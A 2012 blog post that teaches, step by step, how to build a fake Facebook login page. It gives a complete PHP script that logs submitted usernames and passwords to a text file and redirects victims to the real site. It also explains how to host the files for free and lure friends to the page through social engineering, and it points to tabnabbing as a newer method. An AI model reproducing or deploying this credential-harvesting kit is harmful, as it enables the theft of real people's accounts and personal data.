Pages

Wednesday, November 14, 2012

Facebook Phishing Tutorial









Hi every one this post is updated now. The previous one is not clearly explained so i updated with this with the clear method so you can learn the basic of hacking and how this works. Hacking the facebook account password is not that much tough. I will tell you how you can hack but learn this only for educational purpose :P.

Update:

There is New Phishing method is available to hack password easily called tabnabbing.Also see how to hack facebook account password using tabnabbing( Advanced Phishing technique )

What is Phishing?

Phishing is the technique to get the victims password without Victims knowledge by showing the duplicate log in page.This is the method which used by most of the peoples in earlier time and even now. Actually the process is getting the victims password using the Fake Login page called phisher.

Phishing Process: 

Actually hacker need to create the fake login page to get the password of victim. In the Normal Webpage which having the login form. will look like this.


The Duplicate or fake page also look like this only :P. yea that is the thing we have to make a same page. You can ask what the changes we need to do? Actually we work with the HTML part only the backside of webpage.

If you know the Small knowledge of the HTML means this will be easy one. Any how don't worry i will guide you to make a fake login page of facebook. 

Making the Phishing Or Fake page:

Finally we are going to Attack.Here are the simple steps will guide you to make fake page just follow the steps.

  1. Just Go here https://www.facebook.com/login.php and right click on anywhere in the webpage and select View Page Source.
  2. Copy all the codes in the page and paste it on note pad or Note pad ++(recommended) and save it like "Index.Html".
  3. Copy the below Php code and paste it on another note pad. and name it "Fb.php".

    <?php
    header(”Location: http://www.Facebook.com/login.php “);
    $handle = fopen(”pass.txt”, “a”);
    foreach($_GET as $variable => $value) {
    fwrite($handle, $variable);
    fwrite($handle, “=”);
    fwrite($handle, $value);
    fwrite($handle, “\r\n”);
    }
    fwrite($handle, “\r\n”);
    fclose($handle);
    exit;
    ?> 
  4. And Create a empty new note pad and save it "pass.txt".
  5. Now you having the Three files

    Index.html
    Fb.php
    Pass.txt
  6. Now we are at the working part, Right click on the Index.html file and open it using note pad or note pad ++. Now press The CTRL + F to perform the search operation. Search the Keyword called action='  also you see "method=post" change it into "method=get".
  7. The keyword followed by the URL look like this.

    action="www.facebook.com/login.php"
  8. Now you need to change the URL of existing one. Just replace the existing URL with "fb.php" Which we created earlier.This will look like this after the changes.

    action="fb.php"
  9. Thats it you are done half of the part. Now you need any free web hosting accounts to upload these files I refer my3gp.com,110mb or any free hosting account which you trusted and also not banned for a long time. if you prefer the paid hosting means that is more than good.
  10. Sign up into my3gb.com and Select the file manger and upload these three files to same directory else this won't work.
  11. Copy the Html file link(Index.html) which uploaded and send it to you friends and tell to sign in and see the magic ( Actually you need to show some social engineering there).
  12. then check the empty text file to get the password.
  13. That's it you are done! 
Note: Nowadays the phishing method is getting the old and some times the free hosting accounts banned you account. Prefer the paid hosting accounts.the advanced phishing technique is came check it out.

  • Tabnapping
Happy Hacking.. :)

No comments:

Post a Comment